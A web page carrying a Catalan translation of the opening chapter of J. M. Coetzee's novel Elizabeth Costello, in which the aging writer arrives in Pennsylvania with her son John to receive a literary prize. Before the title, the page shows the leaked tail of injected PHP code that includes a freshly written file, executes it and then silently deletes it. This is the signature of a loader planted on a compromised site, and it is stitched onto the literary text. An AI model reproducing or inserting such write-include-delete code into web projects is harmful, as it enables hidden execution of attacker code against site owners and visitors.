");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Elizabeth Costello
Facebook Twitter

Elizabeth Costello

J. M. Coetzee

1. Realisme

Primer de tot hi ha el problema de l’obertura, és a dir, com anar des d’on som, que és, encara, enlloc, fins a l’altra riba. És un senzill problema de travessar, de fer un pont. La gent resol problemes com aquest cada dia. Els resolen i, un cop resolts, continuen endavant.

Suposem que, com sigui que s’hagi fet, ja està fet. Acceptem que el pont ja s’ha construït i que l’hem travessat, que ens en podem oblidar. Hem deixat enrere el territori on érem. Som al territori de l’altra banda, que és on volem ser.

L’Elizabeth Costello és escriptora, nascuda el 1928; per tant té seixanta-sis anys, va cap als seixanta-set. Ha escrit nou novel·les, dos llibres de poemes, un llibre sobre la vida dels ocells i una extensa obra periodística. És australiana de naixement. Va néixer a Melbourne i encara hi viu, tot i que entre el 1951 i el 1963 va viure a l’estranger, a Anglaterra i a França. Ha estat casada dues vegades. Té dos fills, un de cada matrimoni.

L’Elizabeth Costello es va fer famosa amb la quarta novel·la, La casa d’Eccles Street (1969), la protagonista de la qual és la Marion Bloom, esposa d’en Leopold Bloom, protagonista d’una altra novel·la, Ulisses (1922), de James Joyce. En l’última dècada, al seu voltant s’hi ha desenvolupat una petita indústria crítica; fins i tot hi ha un Cercle Elizabeth Costello, amb seu a Albuquerque, Nou Mèxic, que publica una revista trimestral, l’Elizabeth Costello Newsletter.

La primavera de 1995 l’Elizabeth Costello va viatjar, o viatja (en endavant, present), a Williamstown, Pennsylvània, a Altona College, per rebre el Premi Stowe. Aquest premi s’atorga cada dos anys a un escriptor de renom mundial, escollit per un jurat de crítics i escriptors. Consisteix en 50.000 dòlars en efectiu donats per un llegat de l’estat d’Stowe, i en una medalla d’or. És un dels premis literaris més importants dels Estats Units.

Durant la visita a Pennsylvània, a l’Elizabeth Costello (Costello és el cognom de soltera) l’acompanya el seu fill John. En John és professor de física i astronomia en una universitat de Massachusetts, però per motius personals té un any d’excedència. L’Elizabeth està una mica delicada: sense l’ajuda del seu fill no faria aquest viatge tan esgotador a través de mig món.

Tirem endavant. Han arribat a Williamstown i els han portat a l’hotel, un edifici sorprenentment gran per una ciutat tan petita, un hexàgon molt alt, tot de marbre fosc per fora i de vidres i miralls per dins. A l’habitació d’ella es produeix un diàleg.

—¿Estaràs còmoda? —pregunta el fill.

—Segur que sí —respon ella. L’habitació és al dotzè pis, amb una vista sobre un camp de golf i, més enllà, uns turons boscosos.

—¿Per què no descanses? Ens passaran a buscar a dos quarts de set. Et trucaré una mica abans.

Està a punt de marxar. Ella parla.

—John, ¿què volen de mi exactament?

—¿Aquesta nit? Res. Només és un sopar amb els membres del jurat. No deixarem que s’allargui gaire. Els recordaré que estàs cansada.

—¿I demà?

—Demà és una altra cosa. Em sembla que per demà ja cal que et preparis.

—He oblidat per què vaig acceptar de venir. Em sembla que és un patiment que no calia. Els hauria hagut de demanar que oblidessin la cerimònia i que m’enviessin el xec per correu.

Després d’un vol tan llarg, aparenta l’edat que té. Mai no s’ha preocupat del seu aspecte; abans se’n sortia prou bé; ara es veu. Vella i cansada.

—Mare, em sembla que no va així. Si acceptes els diners, has de fer l’espectacle.

Ella fa que no amb el cap. Encara porta el vell impermeable de color blau amb què ha arribat de l’aeroport. Els cabells se li veuen greixosos, apagats. Ni tan sols ha començat a desfer la maleta. Si la deixa ara, ¿què farà? ¿Estirar-se amb les sabates i l’impermeable posats?

Ell és aquí, amb ella, per amor. No se la pot imaginar passant aquest suplici sense ell al costat. L’ajuda perquè és el seu fill, el seu fill afectuós. Però també està a punt de convertir-se en —una paraula desagradable— el seu entrenador.

La veu com una foca, una foca de circ vella i cansada. Una vegada més s’ha d’aixecar dins la piscina, una vegada més ha de demostrar que sap aguantar la pilota amb el nas. A ell li correspon convèncer-la, animar-la, acompanyar-la durant l’actuació.

—És l’única manera que tenen —li diu tan dolçament com pot—. T’admiren, et volen honrar. És la millor manera que se’ls acut per fer-ho. Donar-te diners. Difondre el teu nom. Aprofitar una cosa per fer l’altra.

Dreta al costat de l’escriptori estil imperi, remenant els fullets que li expliquen on anar a comprar, on sopar, com fer servir el telèfon, li envia una d’aquelles mirades ràpides i iròniques que encara tenen la capacitat de sorprendre’l, de recordar-li qui és ella.

—¿La millor manera? —murmura.

A dos quarts de set truca a la porta. Ella està a punt, esperant, plena de dubtes però preparada per enfrontar-se a l’enemic. Porta el vestit blau i la jaqueta de seda, el seu uniforme de novel·lista, i les sabates blanques que no tenen cap pega llevat que la fan semblar la Daisy de l’ànec Donald. S’ha rentat els cabells i se’ls ha pentinat. Encara es veuen greixosos, però honorablement greixosos, com els d’un peó o els d’un mecànic. Ja fa aquella expressió de passivitat que, vista en una nena petita, hom qualificaria d’abstreta. Un rostre sense personalitat, la mena de rostre al qual als fotògrafs els costa donar distinció. Com Keats, pensa ell, el gran advocat de la receptivitat en blanc.

El vestit blau, els cabells greixosos, són detalls, signes d’un realisme moderat. Subministrar les particularitats i deixar que els significats emergeixin sols. Un procediment que Daniel Dafoe va ser el primer a aplicar. Robinson Crusoe, arribat a la platja després del naufragi, busca els seus companys de bord. Però no n’hi ha cap. «Ja no els vaig tornar a veure, ni rastre d’ells», diu, «llevat de tres barrets, una gorra i dues sabates desaparellades.» Dues sabates desaparellades: si estan desaparellades, les sabates han deixat de ser calçat i s’han convertit en proves de mort que el mar escumós ha tret dels peus d’uns homes a punt d’ofegar-se i ha fet arribar a terra. Ni grans paraules, ni desconsol, només barrets, gorres i sabates.

Pel que ell recorda, la seva mare sempre s’ha tancat als matins per escriure. Prohibit molestar sota cap circumstància. Ell se sentia desgraciat i sol, pensava que ningú no l’estimava. Quan estaven molt tristos, ell i la seva germana es deixaven caure davant la porta tancada i feien uns sorollets planyívols. Al cap d’una estona els planys es convertien en un taral·leig o en una cançó, i se sentien millor, oblidaven el seu abandó.

Ara l’escena ha canviat. S’ha fet gran. Ja no és davant la porta sinó a dins, observant com, asseguda d’esquena a la finestra, dia rere dia, any rere any, mentre els cabells li canvien del negre al gris, la seva mare s’enfronta a la pàgina en blanc. Quina obstinació!, pensa ell. Es mereix la medalla, sens dubte, aquesta i moltes més. Pel seu valor més enllà del deure.

J. M. Coetzee, Elizabeth Costello, Traducció d'Albert Nolla. Barcelona: Empúries, 2004.
Traduït per Albert Nolla
Amb el suport de: